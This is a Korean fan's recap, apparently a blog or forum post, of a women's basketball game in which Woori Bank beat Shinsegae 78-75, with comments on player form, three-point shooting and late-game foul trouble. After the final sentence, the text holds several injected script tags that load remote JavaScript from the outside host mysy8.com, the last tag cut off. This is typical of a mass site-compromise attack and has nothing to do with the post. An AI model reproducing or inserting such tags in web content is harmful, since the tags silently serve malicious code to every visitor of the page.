관전기 시작하겠습니다.
허접하지만 많이 읽어주시면 감사하겠습니다..^^
전역하고 약 3년만에 호반체육관으로 갔습니다.
간만에 여자농구선수들이 몸을 푸는 것을 보니 반가운 얼굴들이 많이 눈에 띄었습니다. 다시 돌아온 여자농구계의 영원한 용병에이스 캐칭 선수, 보도자료에서 더욱 성장을 거듭하고 있다는 김은혜 선수, 홍현희 선수, 제가 전에 보았을 때는 삼성생명에서 국가대표 4인방의 센터축으로 활약하셨던 '티거'(그 당시 별명이었습니다)김계령 선수...그리고 신세계 쪽에는 양정옥 선수, 장선형 선수 등 3년 간 보고싶었던 얼굴들이 보였습니다.
경기가 시작되었습니다. 1쿼터...우리은행 선수들의 몸은 실전에서도 가벼웠습니다. 특히 캐칭 선수는 활발한 모습을 여전히 유지하고 계시더군요. 제가 3년 전에 기억하고 있던 우리은행 팀보다 지금의 우리은행 팀의 움직임이 더욱 활발했습니다.
특히.경기 초반에 김계령 선수가 3점슛을 넣는 것을 보고 놀랐습니다. 삼성생명 시절에는 거의 박정은 선수나, 변연하 선수 , 이미선 선수 등 팀에 3점 슈터들이 많았기에 3점을 거의 시도안하시던 김계령 선수였습니다. 하지만 이번 경기에서는 초반에 3점 라인에서 노마크가 되자 과감히 주저없이 3점을 던지시는 것이었습니다. 3점은 여지없이 림을 가르고...3득점...
서장훈 선수가 생각나더군요. 서장훈 선수..솔직히 싫어하시는 분도 많겠지만 국내 센터 중에서는 슛 거리가 가장 넓은 선수라고 인정하지 않는 분은 없으리라 봅니다. 2점은 물론이고, 3점까지도 구사하시는 서장훈 선수와 같이 김계령 선수도 3점을 자유롭게 구사하셨습니다. 김계령 선수도 서장훈 선수와 같이 이제 '국보급 센터'가 되시는 건가요?
가드진에는 새로운 얼굴들이 많이 보였습니다. 3년 전에는 코트에 거의 나서지 않으셨던 김은경 선수나, 이경희 선수가 나오더군요. 경기 전에 경기장에서 나누어준 우리은행 뉴스를 읽었는데 세대 교체를 하셔서 팀 평균연령이 24세더라군요....경기 초반부터 세대교체의 성공을 코트 위에서 보여주시려는 박 감독님의 의도이셨나요.
신세계의 용병 선수..핀스트라 선수의 신장을 나중에 조사해보니 203센티미터였습니다. 우리은행의 최고 장신이 190인 김계령 선수...무려 13센티 차이가 나는 거인 센터였습니다. 그러기에 초반에 신세계의 가드들은 핀스트라 선수에게 엔트리 패스를 많이 주고자 하였습니다. 좀 클래식한 농구를 하고자 한 것일까요.
2쿼터는 우리은행 선수들의 핀스트라 선수에 대한 수비의 성공이 절정을 달렸던 쿼터였습니다. 2쿼터 때 들어온 홍현희 선수나, 캐칭 선수는 신세계 가드 선수들의 아직은 미숙한 엔트리 패스를 잘 스틸해서 속공으로 연결시켰습니다.
이럴 때 최고급 가드가 필요하다고 봅니다. 만약 전주원 선수였으면...상대가..아마 핀스트라 선수가 203센티의 장신을 잘 살려 대략득점을 할 수 있었을 것입니다. 하지만 신세계 가드들은 양정옥 선수 말고는 노련한 가드가 없었기에...우리은행의 노련한 수비에 당할 수밖에 없었습니다.
양정옥 선수도 2쿼터 때 나왔습니다. 역시 현란한 드리블과 노련한 패스는 노련했지만 어딘가 모르게 노쇠한 기색이 느껴졌던 건 무엇이었을까요? 양정옥 선수의 장기는 패턴이 안 먹힐 때의 정확한 3점슛인데 우리은행의 수비수 김은경 선수는 그마저도 허용치 않았고 세월을 너무 타신 양정옥 선수는 예전과 같이 대담하게 철저한 마크 앞에서 3점을 쏠 수는 없었습니다.
3쿼터.. 정 감독님 하의 신세계 선수들은 3점슛의 노하우를 많이 전수받은 듯 했습니다. 신세계의 신인 가드들의 3점슛은 3쿼터 때 번번히 림을 깨끗히 갈랐고 점수차는 조금이나마 좁혀지기 시작했습니다. 우리은행으로 봐서는 변수였습니다. 보통 신인 가드들은 경기에서 3점슛 능력이 아무리 좋다손 치더라도 성공률이 한정되는 법인데 오늘따라 신세계 선수들은 후반들이 3점에 강세를 보였습니다.
우리은행은 78대 75로 이겼습니다. 경기 종료 1분을 조금 넘은 시간이었습니다. 하지만 불행하게도 그 때 신세계는 팀파울 트러블에 걸려 있었습니다. 경기 종료 40초 전 풀코트 프레스로 우리은행에게 반칙을 하고 빨리 공격을 재개하려는 신세계의 작전은 팀파울 트러블 앞에서 무위로 끝났습니다.
결국 우리은행의 승리로 경기는 끝났습니다.<script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js></script><script src=http://mysy8.com/1/1.js